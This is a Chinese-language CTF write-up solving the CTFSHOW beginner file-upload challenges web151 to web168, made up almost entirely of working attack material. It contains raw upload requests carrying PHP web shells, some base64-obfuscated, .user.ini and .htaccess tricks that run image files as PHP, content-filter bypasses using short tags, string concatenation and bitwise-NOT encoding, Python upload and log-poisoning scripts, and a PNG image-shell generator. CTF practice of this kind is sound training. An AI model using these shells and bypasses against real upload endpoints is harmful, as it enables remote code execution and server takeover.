Practice - CTFSHOW WEB入门 文件上传篇

web151

经测试可知,这道题只有前端验证文件名后缀的限制。burp 抓包后改成 php 传 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 5f810fb9-0ec7-4467-8857-b8bdd38185e0.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Origin: http://5f810fb9-0ec7-4467-8857-b8bdd38185e0.challenge.ctf.show
Referer: http://5f810fb9-0ec7-4467-8857-b8bdd38185e0.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="head.php"
Content-Type: image/png

<?php eval($_POST[1]);

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

flag 在 flag.php

web152

没看出来和上一题有什么差别,一样的报文换个 url 接着打。

web153

这一题在后端禁止上传后缀名为 php 的文件,不过还允许上传 .ini 文件,这里选择用 .user.ini 包含 png 文件执行代码。
上传 .user.ini :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Origin: http://71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show
Referer: http://71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

上传被包含的 1.png :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
Host: 71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Origin: http://71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show
Referer: http://71e8908e-4639-4593-9a50-f90d7587eb7e.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?php eval($_POST[1]);


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

/upload/ 就会包含 1.png 的 shell 。

web154

这次还加入了对文件内容的检测,如果文件内容包含 php 就不给上传,改用 <?= 代替 <?php 从而绕过检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Origin: http://37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show
Referer: http://37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
Host: 37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show
Content-Length: 201
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Origin: http://37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show
Referer: http://37697e03-fe82-4938-9b85-e6b803a58050.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=eval($_POST[1]);


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web155

同上题。

web156

这一题的禁用名单新增了左方括号,编码或者 <?=`tac ../flag*` 都可绕过去,和上题没啥区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
Host: a1e9c19d-6679-4a12-906a-f324814eeb14.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: a1e9c19d-6679-4a12-906a-f324814eeb14.challenge.ctf.show
Content-Length: 200
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=`tac ../flag*`;


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

system($_GET[1]);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: a1e9c19d-6679-4a12-906a-f324814eeb14.challenge.ctf.show
Content-Length: 233
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=eval(base64_decode('c3lzdGVtKCRfR0VUWzFdKTs='));


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web157

这一题禁用了 ;,改用 ?> 代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
Host: 9376ba97-8983-4caa-9d16-36d11db25663.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 9376ba97-8983-4caa-9d16-36d11db25663.challenge.ctf.show
Content-Length: 203
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png


<?=`tac ../fla*` ?>


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web158

同上题。

web159

这题相比前两题禁用了 (,不过对 tac ../fla* 的那个 payload 没影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
Host: b56f2333-e53d-4f9d-b995-e65132e0d4bd.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: b56f2333-e53d-4f9d-b995-e65132e0d4bd.challenge.ctf.show
Content-Length: 203
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png


<?=`tac ../fla*` ?>


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web160

这一题相比上一题禁用了反引号和 %20,不要忘了还可以用 . 拼接被禁用的 php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
Host: 92e6149a-e1a9-4095-8a18-a4f20dd3cb27.challenge.ctf.show
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: 92e6149a-e1a9-4095-8a18-a4f20dd3cb27.challenge.ctf.show
Content-Length: 268
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<?=include'ph'.'p://filter/convert.base64-encode/resource=/var/www/html/flag.p'.'hp'?>


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web161

相比前面几题,后端加入了文件头校验。头部添加 GIF78a 可绕。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: 6c6fbfd8-70bb-4f0f-8a5c-2e3f7d1efd93.challenge.ctf.show
Content-Length: 214
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF78a
auto_prepend_file=1.png

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: 6c6fbfd8-70bb-4f0f-8a5c-2e3f7d1efd93.challenge.ctf.show
Content-Length: 276
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryv0k4Ho2WfgKjvEM4
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

GIF78a
<?=include'ph'.'p://filter/convert.base64-encode/resource=/var/www/html/flag.p'.'hp'?>


------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--

web162

这一题相比前面几道题,上传文件的内容不允许包含 .,上传不带后缀的文件即可包含,例如 aaa
想要使用文件名没有 . 的 session 包含,但 ctf.show 这段时间不给条件竞争了,要考虑下别的方法了。
找到了一位师傅的非预期文章 https://blog.csdn.net/Kracxi/article/details/122954230
通过异或编码绕过这里不能直接用 python 的 urllib.parse.unquote 函数编码参数,需要自行写一个 int2byte 的函数,这里遇到个坑。
顺带用 python 实现了下 php 中对字符串的取反,其实就是 255 - 字符的ascii 得到的 ascii 取字符。于是就有了如下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
Host: 10fa6872-bfbf-413c-a5ea-a72eca2d114b.challenge.ctf.show
Content-Length: 214
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjNoWe31PPZddO6AK
Origin: http://9339f20f-41f3-463d-879d-c1110e72fb4c.challenge.ctf.show
Referer: http://9339f20f-41f3-463d-879d-c1110e72fb4c.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryjNoWe31PPZddO6AK
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF78a
auto_prepend_file=file

------WebKitFormBoundaryjNoWe31PPZddO6AK--

日志包含 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests


def str2neg_bytes(target: str) -> bytes:
return b''.join(list((255-ord(c)).to_bytes(1, byteorder='big') for c in target))


payload = "/var/log/nginx/access.log"

file_content = "<?=include~".encode() + str2neg_bytes(payload) + "?>".encode()
burp0_url = "http://10fa6872-bfbf-413c-a5ea-a72eca2d114b.challenge.ctf.show/upload.php"
burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryv0k4Ho2WfgKjvEM4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"file\"\r\nContent-Type: image/png\r\n\r\nGIF78a\r\n".encode() + file_content + "\r\n\r\n\r\n------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--\r\n".encode()
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(file_content)
print(response.text)

web163

这道题相比上一道题,区别在于会删除除了 .user.ini 外的文件但有 2s 的 sleep,可以通过循环运行脚本上传保持这个文件一直存在。
一开始也考虑了其他解法,不过 .user.ini 远程包含的方法已经行不通了,条件竞争也被禁用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: 957aaa21-5ca4-46eb-a04c-87cd14c78dd7.challenge.ctf.show
Content-Length: 214
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjNoWe31PPZddO6AK
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryjNoWe31PPZddO6AK
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF78a
auto_prepend_file=aaaaaa

------WebKitFormBoundaryjNoWe31PPZddO6AK--

脚本同上题,这次似乎禁用了 $_POST,就没日志包含 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests


def str2neg_bytes(target: str) -> bytes:
return b''.join(list((255-ord(c)).to_bytes(1, byteorder='big') for c in target))


payload = "php://filter/convert.base64-encode/resource=/var/www/html/upload.php"

file_content = "<?=include~".encode() + str2neg_bytes(payload) + "?>".encode()
burp0_url = "http://957aaa21-5ca4-46eb-a04c-87cd14c78dd7.challenge.ctf.show/upload.php"
burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryv0k4Ho2WfgKjvEM4", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryv0k4Ho2WfgKjvEM4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"aaaaaa\"\r\nContent-Type: image/png\r\n\r\nGIF78a\r\n".encode() + file_content + "\r\n\r\n\r\n------WebKitFormBoundaryv0k4Ho2WfgKjvEM4--\r\n".encode()
while True:
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(file_content)
print(response.text)

后来读出来的 upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"æ..件è¶.è¿.1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"æ..件类å..ä¸.å..è§.");
}

}else{
$ret = array("code"=>2,"msg"=>"æ..件类å..ä¸.å..è§.");
}

}else{
$ret = array("code"=>2,"msg"=>"æ..件类å..ä¸.å..è§.");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164

png 图片马,二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system HTTP/1.1
Host: 6c0cb9cd-e9e3-478d-9efa-c590bfb9d65e.challenge.ctf.show
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://6c0cb9cd-e9e3-478d-9efa-c590bfb9d65e.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://6c0cb9cd-e9e3-478d-9efa-c590bfb9d65e.challenge.ctf.show/download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

1=tac+flag.php

web165

jpg 二次渲染,脚本跑不通。

web166

随意上传一个文件,下载链接 /upload/download.php?file= 存在任意文件读取。查看上传和下载源码

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:14:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'application/x-zip-compressed'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("zip"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
}else{
$ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-27 16:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:53:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);

$file= $_GET['file'];
if(!isset($file)){
die('文件不存在');
}

if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('文件不存在');
}

if(check($file)){
die('文件不存在!');
}else{
include($file);
header('Content-Type:application/x-zip-compressed');
}


function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}

function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}

构造 zip 上传,包含文件执行命令读取 flag.php。

1
$ echo "<?=`tac ../flag.php`;" > payload.zip

web167

题目给出提示是 apache,可以上传 .htaccess 改变文件解析规则,这里添加规则将 jpg 文件作为 php 脚本解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: b09faa06-928d-44fd-a0dd-1e5f30f0fb0f.challenge.ctf.show
Content-Length: 205
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2qBpLFiECqXARyHX
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

------WebKitFormBoundary2qBpLFiECqXARyHX
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg

------WebKitFormBoundary2qBpLFiECqXARyHX--

然后随便传个马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: b09faa06-928d-44fd-a0dd-1e5f30f0fb0f.challenge.ctf.show
Content-Length: 205
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2qBpLFiECqXARyHX
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

------WebKitFormBoundary2qBpLFiECqXARyHX
Content-Disposition: form-data; name="file"; filename="aaa.jpg"
Content-Type: image/jpeg

<?php eval($_POST[1]);

------WebKitFormBoundary2qBpLFiECqXARyHX--

web168

